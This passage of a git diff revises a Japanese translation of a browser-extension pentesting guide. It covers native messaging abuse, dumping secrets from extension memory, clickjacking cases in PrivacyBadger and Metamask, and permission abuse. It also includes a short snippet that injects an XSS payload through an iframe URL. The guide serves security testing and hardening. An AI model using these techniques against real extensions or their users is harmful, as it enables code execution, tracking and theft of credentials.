に渡される文字列で、ブラウザ拡張のバックグラウンドスクリプトからアプリケーションと通信するために使用されます。`path` はバイナリへのパスで、1つの有効な `type` は stdio（stdin と stdout を使用）であり、`allowed_origins` はアクセスできる拡張機能を示します（ワイルドカードは使用できません）。 +`name` は [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) または [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) に渡される文字列で、ブラウザ拡張のバックグラウンドスクリプトからアプリケーションと通信するために使用されます。 `path` はバイナリへのパスで、1つの有効な `type` は stdio（stdin と stdout を使用）であり、 `allowed_origins` はアクセスできる拡張機能を示します（ワイルドカードは使用できません）。 Chrome/Chromium は、この JSON をいくつかの Windows レジストリや macOS および Linux のいくつかのパスで検索します（詳細は [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging) を参照）。 > [!TIP] -> ブラウザ拡張は、この通信を使用するために `nativeMessaing` 権限を宣言する必要があります。 +> ブラウザ拡張は、この通信を使用できるようにするために `nativeMessaing` 権限を宣言する必要があります。 これは、ネイティブアプリケーションにメッセージを送信するバックグラウンドスクリプトコードの例です： ```javascript @@ -558,7 +558,7 @@ console.log("Received " + response) ``` [**このブログ記事**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/)では、ネイティブメッセージを悪用する脆弱なパターンが提案されています： -1. ブラウザ拡張機能には、コンテンツスクリプトのためのワイルドカードパターンがあります。 +1. ブラウザ拡張機能は、コンテンツスクリプトのためのワイルドカードパターンを持っています。 2. コンテンツスクリプトは、`sendMessage`を使用してバックグラウンドスクリプトに`postMessage`メッセージを渡します。 3. バックグラウンドスクリプトは、`sendNativeMessage`を使用してネイティブアプリケーションにメッセージを渡します。 4. ネイティブアプリケーションはメッセージを危険に扱い、コード実行につながります。 @@ -569,21 +569,21 @@ console.log("Received " + response) ブラウザ拡張機能が**メモリ内に機密情報を保存している場合**、これは**ダンプ**される可能性があり（特にWindowsマシンで）、この情報が**検索**される可能性があります。 -したがって、ブラウザ拡張機能のメモリは**安全とは見なされるべきではなく**、**機密情報**（資格情報やニーモニックフレーズなど）は**保存されるべきではありません**。 +したがって、ブラウザ拡張機能のメモリは**安全とは見なされるべきではなく**、資格情報やニーモニックフレーズなどの**機密情報は保存されるべきではありません**。 -もちろん、**コード内に機密情報を置かないでください**。それは**公開**されることになります。 +もちろん、**コード内に機密情報を置かないでください**、それは**公開される**からです。 -ブラウザからメモリをダンプするには、**プロセスメモリをダンプ**するか、ブラウザ拡張機能の**設定**に行き、**`ポップアップを検査`**をクリック -> **`メモリ`**セクション -> **`スナップショットを取得`**し、**`CTRL+F`**でスナップショット内の機密情報を検索します。 +ブラウザからメモリをダンプするには、**プロセスメモリをダンプ**するか、ブラウザ拡張機能の**設定**に行き、**`Inspect pop-up`**をクリック -> **`Memory`**セクション -> **`Take a snapshot`**を選択し、**`CTRL+F`**でスナップショット内の機密情報を検索します。 -さらに、ニーモニックキーやパスワードのような非常に機密性の高い情報は、**クリップボードにコピーされることを許可すべきではありません**（または少なくとも数秒以内にクリップボードから削除するべきです）。そうしないと、クリップボードを監視しているプロセスがそれらを取得できるようになります。 +さらに、ニーモニックキーやパスワードのような非常に機密性の高い情報は、**クリップボードにコピーされることを許可すべきではありません**（または少なくとも数秒以内にクリップボードから削除するべきです）なぜなら、クリップボードを監視しているプロセスがそれらを取得できるからです。 ## ブラウザに拡張機能を読み込む 1. **ブラウザ拡張機能をダウンロード**し、解凍します。 -2. **`chrome://extensions/`**に移動し、`開発者モード`を**有効**にします。 -3. **`未パッケージ化の読み込み`**ボタンをクリックします。 +2. **`chrome://extensions/`**に移動し、`Developer Mode`を**有効にします**。 +3. **`Load unpacked`**ボタンをクリックします。 -**Firefox**では、**`about:debugging#/runtime/this-firefox`**に移動し、**`一時的なアドオンを読み込む`**ボタンをクリックします。 +**Firefox**では、**`about:debugging#/runtime/this-firefox`**に移動し、**`Load Temporary Add-on`**ボタンをクリックします。 ## ストアからソースコードを取得する @@ -618,7 +618,7 @@ unzip -d "$extension_id-source" "$extension_id.zip" 拡張機能を特定するには、IDを名前にマッピングできます： -- `about:extensions`ページで開発者モードを有効にして、各拡張機能のIDを確認します。 +- `about:extensions`ページで開発者モードを有効にすると、各拡張機能のIDが表示されます。 - 各拡張機能のフォルダ内の`manifest.json`ファイルには、拡張機能を特定するのに役立つ読みやすい`name`フィールドがあります。 ### ファイルアーカイバまたはアンパッカーを使用する @@ -640,18 +640,18 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt ブラウザ拡張機能は**限られた攻撃面**を持っていますが、その中には**脆弱性**や**強化の可能性**が含まれている場合があります。以下は最も一般的なものです： -- [ ] **要求される** **`permissions`** を可能な限り**制限**する -- [ ] **`host_permissions`** を可能な限り**制限**する +- [ ] **要求される** **`permissions`** を可能な限り制限する +- [ ] **`host_permissions`** を可能な限り制限する - [ ] **強力な** **`content_security_policy`** を使用する -- [ ] **`externally_connectable`** を可能な限り**制限**する。必要がない場合はデフォルトで残さず、**`{}`** を指定する -- [ ] **XSSまたは乗っ取りに脆弱なURL**がここに記載されている場合、攻撃者は**バックグラウンドスクリプトに直接メッセージを送信**できる。非常に強力なバイパス。 -- [ ] **`web_accessible_resources`** を可能な限り**制限**する。可能であれば空にする。 -- [ ] **`web_accessible_resources`** がない場合、[**ClickJacking**](browext-clickjacking.md)を確認する -- [ ] **拡張機能**から**ウェブページ**への**通信**が発生する場合、[**XSS**](browext-xss-example.md) **脆弱性**が通信によって引き起こされていないか確認する。 +- [ ] **`externally_connectable`** を可能な限り制限する。必要がない場合はデフォルトで残さず、**`{}`** を指定する +- [ ] **XSSまたは乗っ取りに脆弱なURL**がここに記載されている場合、攻撃者は**バックグラウンドスクリプトに直接メッセージを送信できる**。非常に強力なバイパスです。 +- [ ] **`web_accessible_resources`** を可能な限り制限する。可能であれば空にする。 +- [ ] **`web_accessible_resources`** がない場合、[**ClickJacking**](browext-clickjacking.md) を確認する +- [ ] **拡張機能**から**ウェブページ**への**通信**が発生する場合、通信によって引き起こされる[**XSS**](browext-xss-example.md) **脆弱性**を確認する。 - [ ] Post Messagesが使用されている場合、[**Post Messageの脆弱性**](../postmessage-vulnerabilities/)**を確認する。** -- [ ] **Content ScriptがDOMの詳細にアクセス**する場合、ウェブによって**変更**されると**XSSを導入していないか**確認する +- [ ] **Content ScriptがDOMの詳細にアクセスする**場合、ウェブによって**変更される**と**XSSを導入しない**ことを確認する - [ ] この通信が**Content Script -> バックグラウンドスクリプト通信**にも関与している場合は特に強調する -- [ ] バックグラウンドスクリプトが**ネイティブメッセージング**を介して通信している場合、通信が安全でサニタイズされているか確認する +- [ ] バックグラウンドスクリプトが**ネイティブメッセージング**を介して通信している場合、通信が安全でサニタイズされていることを確認する - [ ] **機密情報は**ブラウザ拡張機能の**コード内に保存すべきではない** - [ ] **機密情報は**ブラウザ拡張機能の**メモリ内に保存すべきではない** - [ ] **機密情報は****ファイルシステムに無防備に保存すべきではない** @@ -668,10 +668,10 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt - [**manifest.json**](https://developer.chrome.com/extensions/manifest) **ビューワー**：拡張機能のマニフェストのJSON整形バージョンを表示します。 - **フィンガープリンター分析**： [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) の検出とChrome拡張機能フィンガープリンティングJavaScriptの自動生成。 - **潜在的なClickjacking分析**： [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) ディレクティブが設定された拡張機能のHTMLページの検出。これらはページの目的に応じてClickjackingに脆弱である可能性があります。 -- **権限警告ビューワー**：ユーザーが拡張機能をインストールしようとしたときに表示されるChromeの権限プロンプト警告のリストを表示します。 +- **権限警告ビューワー**：ユーザーが拡張機能をインストールしようとしたときに表示されるすべてのChrome権限プロンプト警告のリストを表示します。 - **危険な関数**：攻撃者によって悪用される可能性のある危険な関数の場所を示します（例：innerHTML、chrome.tabs.executeScriptなど）。 -- **エントリポイント**：拡張機能がユーザー/外部入力を受け取る場所を示します。これは拡張機能の表面積を理解し、悪意のあるデータを拡張機能に送信する潜在的なポイントを探すのに役立ちます。 -- 危険な関数とエントリポイントのスキャナーは、生成されたアラートに対して以下を持っています： +- **エントリポイント**：拡張機能がユーザー/外部入力を受け取る場所を示します。これは、拡張機能の表面積を理解し、悪意のあるデータを拡張機能に送信する潜在的なポイントを探すのに役立ちます。 +- 危険な関数とエントリポイントスキャナーは、生成されたアラートに対して以下を持っています： - アラートを引き起こした関連コードスニペットと行。 - 問題の説明。 - コードを含む完全なソースファイルを表示するための「ファイルを表示」ボタン。 @@ -681,15 +681,15 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt - 脆弱な行がJavaScriptファイルにある場合、それが含まれているすべてのページのパスとこれらのページのタイプ、[web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) ステータス。 - **コンテンツセキュリティポリシー（CSP）アナライザーおよびバイパスチェッカー**：これにより、拡張機能のCSPの弱点が指摘され、ホワイトリストに登録されたCDNなどによるCSPのバイパスの潜在的な方法が明らかになります。 - **既知の脆弱なライブラリ**：これは[Retire.js](https://retirejs.github.io/retire.js/)を使用して、既知の脆弱なJavaScriptライブラリの使用をチェックします。 -- 拡張機能とフォーマットされたバージョンをダウンロード。 -- 元の拡張機能をダウンロード。 -- 拡張機能の美化されたバージョンをダウンロード（自動整形されたHTMLとJavaScript）。 +- 拡張機能とフォーマットされたバージョンをダウンロードします。 +- 元の拡張機能をダウンロードします。 +- 拡張機能の美化されたバージョンをダウンロードします（自動整形されたHTMLとJavaScript）。 - スキャン結果の自動キャッシュ。拡張機能のスキャンを初めて実行する際にはかなりの時間がかかります。しかし、拡張機能が更新されていない限り、2回目は結果がキャッシュされるため、ほぼ瞬時に完了します。 -- リンク可能なレポートURL。誰かにtarnishによって生成された拡張機能レポートへのリンクを簡単に提供できます。 +- リンク可能なレポートURL。誰かにTarnishによって生成された拡張機能レポートへのリンクを簡単に提供します。 ### [Neto](https://github.com/elevenpaths/neto) -プロジェクトNetoは、FirefoxやChromeなどの有名なブラウザのブラウザプラグインや拡張機能の隠れた機能を分析し、解明するために考案されたPython 3パッケージです。`manifest.json`、ローカリゼーションフォルダー、またはJavaScriptおよびHTMLソースファイルなどの関連リソースからこれらの機能を抽出するために、パッケージ化されたファイルを解凍するプロセスを自動化します。 +プロジェクトNetoは、FirefoxやChromeなどの有名なブラウザのブラウザプラグインや拡張機能の隠れた機能を分析し、解明するために考案されたPython 3パッケージです。`manifest.json`、ローカリゼーションフォルダー、またはJavaScriptおよびHTMLソースファイルなどの関連リソースからこれらの機能を抽出するために、パッケージ化されたファイルの解凍プロセスを自動化します。 ## 参考文献 diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md index 99c6b51d3..6d6e1e92a 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md @@ -13,7 +13,7 @@ ClickJackingが何か分からない場合は、以下を確認してくださ 拡張機能には**`manifest.json`**ファイルが含まれており、そのJSONファイルには`web_accessible_resources`フィールドがあります。以下は[Chromeのドキュメント](https://developer.chrome.com/extensions/manifest/web_accessible_resources)に記載されている内容です： -> これらのリソースは、URL **`chrome-extension://[PACKAGE ID]/[PATH]`**を介してウェブページで利用可能になり、これは**`extension.getURL method`**を使用して生成できます。許可されたリソースは適切なCORSヘッダーで提供されるため、XHRなどのメカニズムを介して利用可能です。[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) +> これらのリソースは、URL **`chrome-extension://[PACKAGE ID]/[PATH]`**を介してウェブページで利用可能になり、これは**`extension.getURL method`**で生成できます。許可されたリソースは適切なCORSヘッダーで提供されるため、XHRなどのメカニズムを介して利用可能です。[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) ブラウザ拡張機能の**`web_accessible_resources`**は、単にウェブを介してアクセス可能なだけでなく、拡張機能の固有の権限で動作します。これは、以下のことが可能であることを意味します： @@ -32,7 +32,7 @@ ClickJackingが何か分からない場合は、以下を確認してくださ "icons/*" ] ``` -この設定は潜在的なセキュリティ問題を引き起こしました。具体的には、ブラウザのPrivacyBadgerアイコンとのインタラクション時にレンダリングされる`skin/popup.html`ファイルが`iframe`内に埋め込まれる可能性があります。この埋め込みは、ユーザーを騙して「このウェブサイトのPrivacyBadgerを無効にする」を誤ってクリックさせるために悪用される可能性があります。このような行動は、PrivacyBadgerの保護を無効にし、ユーザーをより多くのトラッキングにさらすことで、ユーザーのプライバシーを侵害します。このエクスプロイトの視覚的デモは、[**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)で提供されているClickJackingのビデオ例で見ることができます。 +この設定は潜在的なセキュリティ問題を引き起こしました。具体的には、ブラウザのPrivacyBadgerアイコンとのインタラクション時にレンダリングされる`skin/popup.html`ファイルが`iframe`内に埋め込まれる可能性があります。この埋め込みは、ユーザーを欺いて「このウェブサイトのPrivacyBadgerを無効にする」を誤ってクリックさせるために悪用される可能性があります。このような行動は、PrivacyBadgerの保護を無効にし、ユーザーを追跡の増加にさらすことで、ユーザーのプライバシーを侵害します。このエクスプロイトの視覚的デモは、[**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)で提供されているClickJackingビデオ例で見ることができます。 この脆弱性に対処するために、簡単な解決策が実施されました：`web_accessible_resources`のリストから`/skin/*`を削除しました。この変更により、`skin/`ディレクトリのコンテンツにウェブアクセス可能なリソースを通じてアクセスまたは操作できないようにすることで、リスクが効果的に軽減されました。 @@ -75,11 +75,11 @@ src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html"> ``` ## Metamaskの例 -A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)。この場合、Metamaskは、アクセスに使用されるプロトコルが**`https:`**または**`http:`**であることを確認することで脆弱性を修正しました（例えば**`chrome:`**ではありません）： +A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)。この場合、Metamaskは、アクセスに使用されるプロトコルが**`https:`**または**`http:`**（例えば**`chrome:`**ではない）であることを確認することで脆弱性を修正しました：
-**Metamask拡張機能で修正された別のClickJacking**は、ユーザーがページがフィッシングの疑いがある場合に**ホワイトリストに追加するためにクリック**できたことです。これは`“web_accessible_resources”: [“inpage.js”, “phishing.html”]`によるものでした。そのページはClickjackingに対して脆弱であったため、攻撃者は被害者が気づかずにホワイトリストに追加するようにクリックさせるために、何か普通のものを表示して悪用することができ、その後フィッシングページに戻ることができました。 +**Metamask拡張機能で修正された別のClickJacking**は、ユーザーが`“web_accessible_resources”: [“inpage.js”, “phishing.html”]`のためにフィッシングの疑いがあるページで**Click to whitelist**できたことです。そのページはClickjackingに対して脆弱であったため、攻撃者は被害者が気づかずにホワイトリストに追加するようにクリックさせるために、何か普通のものを表示して利用することができ、その後フィッシングページに戻ることができました。 ## Steam Inventory Helperの例 diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md index 17d6ddf5b..7682afc2e 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md @@ -14,7 +14,7 @@ Permissionsは拡張機能の**`manifest.json`**ファイルで**`permissions`**
-[**Chromiumブラウザ拡張機能が要求できる権限の完全なリストはこちら**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions)と、[**Firefox拡張機能の完全なリストはこちら**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**。** +[**Chromiumブラウザ拡張機能が要求できる権限の完全なリストはこちら**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions)で見つけることができ、[**Firefox拡張機能の完全なリストはこちら**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**です。** ### `host_permissions` @@ -66,7 +66,7 @@ Permissionsは拡張機能の**`manifest.json`**ファイルで**`permissions`** > [!CAUTION] > 拡張は、いつでも任意の数のタブを作成できます。 -`tabs.create()` の可能なパラメータを確認すると、その機能が `window.open()` が制御できる範囲をはるかに超えていることに気付くでしょう。そして、FirefoxはこのAPIで `data:` URI の使用を許可していませんが、Chromeにはそのような保護がありません。**このようなURIのトップレベルでの使用は** [**フィッシングの悪用のために禁止されています**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**。** +`tabs.create()` の可能なパラメータを確認すると、その機能が `window.open()` が制御できる範囲をはるかに超えていることに気付くでしょう。そして、FirefoxはこのAPIで `data:` URI の使用を許可していませんが、Chromeにはそのような保護がありません。**このようなURIのトップレベルでの使用は、** [**フィッシングに悪用されたため禁止されています**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**。** [**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) は `tabs.create()` に非常に似ていますが、**既存のタブを修正します。** したがって、悪意のある拡張は、例えば任意の広告ページをあなたのタブの1つに読み込むことができ、対応するタブをアクティブにすることもできます。 @@ -75,19 +75,19 @@ Permissionsは拡張機能の**`manifest.json`**ファイルで**`permissions`** ウェブサイトが特別な権限を要求できることはご存知でしょう。例えば、ウェブカメラ（ビデオ会議ツール）や地理的位置（地図）にアクセスするためです。これは悪用の可能性が大きい機能であり、ユーザーは毎回これを確認する必要があります。 > [!CAUTION] -> ブラウザ拡張ではそうではありません。**ブラウザ拡張が** [**ウェブカメラやマイクへのアクセスを要求する場合**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**、一度だけ許可を求める必要があります。** +> ブラウザ拡張ではそうではありません。**ブラウザ拡張が** [**ウェブカメラやマイクへのアクセスを要求する場合**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**、一度だけ権限を求める必要があります。** -通常、拡張はインストール直後にこれを行います。このプロンプトが受け入れられると、**ウェブカメラへのアクセスはいつでも可能**になり、ユーザーがこの時点で拡張と対話していなくても可能です。はい、ユーザーは拡張が本当にウェブカメラへのアクセスを必要とする場合にのみこのプロンプトを受け入れます。しかし、その後は拡張が何かを秘密裏に録画しないことを信頼しなければなりません。 +通常、拡張はインストール直後にこれを行います。このプロンプトが受け入れられると、**ウェブカメラへのアクセスはいつでも可能になります。** ユーザーがこの時点で拡張と対話していなくてもです。はい、ユーザーは拡張が本当にウェブカメラへのアクセスを必要とする場合にのみこのプロンプトを受け入れます。しかし、その後は拡張が何かを秘密裏に録画しないことを信頼しなければなりません。 -[あなたの正確な地理的位置](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) や [クリップボードの内容](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API) へのアクセスがある場合、明示的に許可を与える必要はまったくありません。**拡張は単に `geolocation` または `clipboard` を** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **に追加します。** これらのアクセス権は、拡張がインストールされるときに暗黙的に付与されます。したがって、これらの特権を持つ悪意のあるまたは侵害された拡張は、あなたが何も気づかないうちにあなたの移動プロファイルを作成したり、コピーされたパスワードのためにクリップボードを監視したりすることができます。 +[あなたの正確な地理的位置](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) や [クリップボードの内容](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API) へのアクセスについては、明示的に権限を付与する必要はまったくありません。**拡張は単に `geolocation` または `clipboard` を** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **に追加します。** これらのアクセス権は、拡張がインストールされるときに暗黙的に付与されます。したがって、これらの特権を持つ悪意のあるまたは侵害された拡張は、あなたが何も気づかないうちにあなたの移動プロファイルを作成したり、コピーされたパスワードのためにクリップボードを監視したりすることができます。 **`history`** キーワードを拡張マニフェストの [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) に追加すると、**[history API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history)** へのアクセスが付与されます。これにより、ユーザーの全ブラウジング履歴を一度に取得でき、ユーザーがこれらのウェブサイトを再度訪れるのを待つ必要がありません。 -**`bookmarks`** **権限** も同様の悪用の可能性があり、これにより**[bookmarks API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks)** を介してすべてのブックマークを読み取ることができます。 +**`bookmarks`** **権限** も同様の悪用の可能性があり、これにより**すべてのブックマークを** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) **を介して読み取ることができます。** ### ストレージ権限 -拡張のストレージは、非常に似たキー-バリューコレクションであり、[localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) を使用できる任意のウェブサイトと非常に似ています。したがって、ここに機密情報を保存すべきではありません。 +拡張のストレージは、非常に似たキーと値のコレクションであり、[localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) を使用できる任意のウェブサイトと非常に似ています。したがって、ここに機密情報を保存すべきではありません。 しかし、広告会社もこのストレージを悪用する可能性があります。 @@ -97,9 +97,9 @@ Permissionsは拡張機能の**`manifest.json`**ファイルで**`permissions`** ## 予防 -Googleの開発者のポリシーは、拡張がその機能に必要な以上の特権を要求することを明示的に禁止しており、過剰な権限要求を効果的に軽減しています。ブラウザ拡張がこの境界を越えた例は、アドオンストアではなくブラウザ自体に付属して配布されたことです。 +Googleの開発者のポリシーは、拡張が機能に必要な以上の特権を要求することを明示的に禁止しており、過剰な権限要求を効果的に軽減しています。ブラウザ拡張がこの境界を越えた例は、アドオンストアではなくブラウザ自体に付属して配布されたことです。 -ブラウザは、拡張特権の悪用をさらに抑制できます。例えば、Chromeの [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) および [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIは、画面録画に使用され、悪用を最小限に抑えるように設計されています。tabCapture APIは、拡張アイコンをクリックするなどの直接的なユーザー操作を通じてのみアクティブ化でき、desktopCaptureは録画するウィンドウのユーザー確認を必要とし、秘密裏の録画活動を防ぎます。 +ブラウザは、拡張特権の悪用をさらに抑制できます。例えば、Chromeの [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) および [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIは、画面録画に使用され、悪用を最小限に抑えるように設計されています。tabCapture APIは、拡張アイコンをクリックするなどの直接的なユーザーの操作を通じてのみアクティブ化でき、desktopCaptureは録画するウィンドウのユーザー確認を必要とし、秘密裏の録画活動を防ぎます。 しかし、セキュリティ対策を強化すると、拡張の柔軟性とユーザーフレンドリーさが低下することがよくあります。[activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) はこのトレードオフを示しています。これは、拡張がインターネット全体にわたってホスト特権を要求する必要を排除するために導入され、ユーザーによって明示的にアクティブ化された場合にのみ、拡張が現在のタブにアクセスできるようにします。このモデルは、ユーザーが開始するアクションを必要とする拡張には効果的ですが、自動または事前のアクションを必要とする拡張には不十分であり、便利さと即時の応答性を損ないます。 diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md index 132f07a14..6edc167e7 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## Iframeを通じたクロスサイトスクリプティング (XSS) +## Iframeを通じたクロスサイトスクリプティング（XSS） -このセットアップでは、**コンテンツスクリプト**が実装され、Iframeをインスタンス化し、Iframeのソースとしてクエリパラメータを含むURLを組み込んでいます: +このセットアップでは、**コンテンツスクリプト**が実装され、Iframeをインスタンス化し、Iframeのソースとしてクエリパラメータを含むURLを組み込んでいます： ```javascript chrome.storage.local.get("message", (result) => { let constructedURL = @@ -40,7 +40,7 @@ let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}` document.querySelector("iframe").src = maliciousURL }, 1000) ``` -過度に許可されたコンテンツセキュリティポリシーは、次のようになります: +過度に許可されたコンテンツセキュリティポリシーは、次のようになります： ```json "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';" ``` @@ -56,7 +56,7 @@ document.body.append(newFrame) ``` ## DOMベースのXSS + ClickJacking -この例は、[元の投稿の要約](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)から取られました。 +この例は[元の投稿の要約](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)から取られました。 コアの問題は、**`/html/bookmarks.html`**にあるDOMベースのクロスサイトスクリプティング（XSS）脆弱性から生じます。問題のあるJavaScriptは、**`bookmarks.js`**の一部で、以下に詳述されています： ```javascript @@ -80,9 +80,9 @@ persistData() ``` このスニペットは、**`txtName`** 入力フィールドから **値** を取得し、**文字列連結を使用してHTMLを生成** し、それをjQueryの `.append()` 関数を使用してDOMに追加します。 -通常、Chrome拡張機能のコンテンツセキュリティポリシー (CSP) は、そのような脆弱性を防ぎます。しかし、**‘unsafe-eval’ によるCSPの緩和** と jQueryのDOM操作メソッドの使用（これらはDOM挿入時にスクリプトを [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) に渡すために [`globalEval()`](https://api.jquery.com/jquery.globaleval/) を使用します）により、悪用は依然として可能です。 +通常、Chrome拡張機能のコンテンツセキュリティポリシー (CSP) はそのような脆弱性を防ぎます。しかし、**‘unsafe-eval’ によるCSPの緩和** と jQueryのDOM操作メソッドの使用（これらはDOM挿入時にスクリプトを [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) に渡すために [`globalEval()`](https://api.jquery.com/jquery.globaleval/) を使用します）により、悪用は依然として可能です。 -この脆弱性は重要ですが、その悪用は通常、ユーザーの操作に依存します：ページを訪問し、XSSペイロードを入力し、「追加」ボタンをアクティブにします。 +この脆弱性は重要ですが、その悪用は通常ユーザーの操作に依存します：ページを訪問し、XSSペイロードを入力し、「追加」ボタンをアクティブにします。 この脆弱性を強化するために、二次的な **clickjacking** 脆弱性が悪用されます。Chrome拡張機能のマニフェストは、広範な `web_accessible_resources` ポリシーを示しています： ```json @@ -94,9 +94,9 @@ persistData() [...] ], ``` -特に、**`/html/bookmarks.html`** ページはフレーミングに対して脆弱であり、したがって**clickjacking**に対しても脆弱です。この脆弱性は、攻撃者のサイト内でページをフレーム化し、DOM要素でオーバーレイしてインターフェースを巧妙に再設計するために利用されます。この操作により、被害者は意図せずに基盤となる拡張機能と対話することになります。 +特に、**`/html/bookmarks.html`** ページはフレーミングに対して脆弱であり、したがって **clickjacking** に対しても脆弱です。この脆弱性は、攻撃者のサイト内でページをフレーム化し、DOM要素でオーバーレイしてインターフェースを巧妙に再設計するために利用されます。この操作により、被害者は意図せずに基盤となる拡張機能と対話することになります。 -## References +## 参考文献 - [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/) - [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/) diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index c40a8741b..265733133 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -21,11 +21,11 @@ ### 発見：HTTPヘッダーを確認 -通常、**キャッシュに保存された**応答には、**それを示すヘッダー**があります。この投稿で注意すべきヘッダーを確認できます：[**HTTPキャッシュヘッダー**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。 +通常、**キャッシュに保存された**応答には、**それを示すヘッダーが存在します**。どのヘッダーに注意を払うべきかは、この投稿で確認できます：[**HTTPキャッシュヘッダー**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。 ### 発見：キャッシュエラーコード -応答がキャッシュに保存されていると考えている場合、**不正なヘッダーでリクエストを送信**してみると、**ステータスコード400**で応答されるはずです。その後、リクエストに通常アクセスして、**応答が400ステータスコード**であれば、それが脆弱であることがわかります（さらにはDoS攻撃を実行することも可能です）。 +応答がキャッシュに保存されていると考えている場合、**不正なヘッダーでリクエストを送信**してみることができます。これには、**ステータスコード400**で応答されるべきです。その後、リクエストに通常アクセスして、**応答が400ステータスコードであれば**、それが脆弱であることがわかります（さらにはDoS攻撃を実行することも可能です）。 さらにオプションを見つけることができます： @@ -43,20 +43,20 @@ cache-poisoning-to-dos.md ``` ### バックエンドサーバーから有害な応答を引き出す 